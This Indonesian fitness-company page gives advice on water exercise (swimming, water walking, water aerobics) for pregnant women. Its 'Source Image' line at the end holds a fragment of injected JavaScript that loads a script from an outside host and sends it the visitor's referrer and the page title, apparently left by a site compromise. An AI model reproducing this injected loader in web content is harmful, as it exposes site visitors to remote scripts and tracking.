fbpx
Appointment
Appointment
Appointment

Olah Raga Air untuk Ibu Hamil

Berolahraga sangat berguna bagi Ibu hamil agar tetap fit menjalani aktivitas sepanjang hari

Seiring dengan bertambahnya usia kehamilan dan perubahan bentuk tubuh, olah raga saat hamil menjadi sulit untuk dilakukan. Tetapi ada alternatif yang menarik, yaitu olah raga air. Air adalah tempat yang nyaman untuk olah raga saat hamil karena gaya dalam hamil tidak menjadi beban bagi persendian dan sesuai untuk olah raga low impact atau jenis olah raga yang tidak bersifat membutuhkan ledakan tenaga. Olah raga di dalam air selai lebih menyenangkan, juga membantu tubuh lebih santai.

Terdapat berbagai macam jenis olah raga yang dapat dilakukan di dalam air dan masing-masing memiliki manfaat yang khusus. Berikut adalah beberapa jenis olah raga di dalam air dan manfaatnya:

1. Berenang
Berenang adalah salah satu bentuk olah raga air yang paling aman dilakukan saat hamil. Berenang bersifat low impact, memiliki manfaat pada fungsi jantung dan peredaran darah, dan gaya dalam air membuat tubuh serasa tanpa beban. Keadaan tanpa beban ini sangat menyegarkan selama kehamilan, khususnya pada trimester ketiga dimana tubuh terasa semakin berat. Berenang juga meningkatkan kekuatan otot, membangun ketahanan tubuh, dan meningkatkan kemampuan tubuh untuk memproses oksigen. Sirkulasi oksigen yang baik bermanfaat untuk ibu dan janin. Gaya berenang yang dianjurkan selama kehamilan adalah gaya dada dan gaya punggung.

2. Berjalan atau berlari dalam air
Jika sebelum kehamilan ibu menyukai olah raga berjalan atau berlari, maka olah raga air ini sangat baik karena selain menjaga suhu tubuh tetap dingin, juga meminimalkan beban sendi.  Lakukan pemanasan terlebih dahulu dengan peregangan dalam air, kemudian pilih daerah kolam dengan kedalaman sekitar 1 meter, lakukan jalan atau lari bolak balik ringan selama 5 menit. Lakukan pendinginan dengan mengatur pernafasan dan peregangan. Manfaat berjalan atau berlari dalam air adalah meningkatkan fleksibilitas dan memperbaiki sirkulasi darah.

3. Senam aerobik air
Kegiatan senam yang dilakukan dalam air dapat meningkatkan ketahanan aerobik. Terdapat beberapa jenis senam aerobik yang dapat dilakukan bersama-sama sehingga merupakan cara yang baik untuk saling berbagi pengalaman dengan ibu hamil lainnya. Senam aerobik dapat meningkatkan fleksibilitas, meningkatkan tonus otot, serta mengurangi beban pada punggung dan kaki sehingga secara keseluruhan dapat meningkatkan kebugaran tubuh.

Olah raga dalam air memeng dapat membantu meningkatkan kebugaran bagi ibu hamil, namun ada beberapa hal yang perlu diperhatikan. Olah raga air sebaiknya dilakukan secara perlahan dan jangan sampai kelelahan. Tahanan yang disebabkan oleh air kadang membuat gerakan tangan dan kaki menjadi lebih berat sehingga menimbulkan kelelahan. Pakai pakaian yang nyaman dan lakukan olah raga di pagi atau sore hari untuk menghindari paparan matahari yang berlebihan. Jadi, olah raga iar adalah bentuk olah raga yang cukup aman dilakukan oleh ibu hamil sepanjang memperhatikan hal-hal diatas. Selamat mencoba.

 

Sumber : ibudanbalita.com

Source Image : http://3.bp.blogspot.coms.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

PT Shape Up Indonesia - Copyright © 2020. All Rights Reserved.
Developed byPetrus Andre
FAQ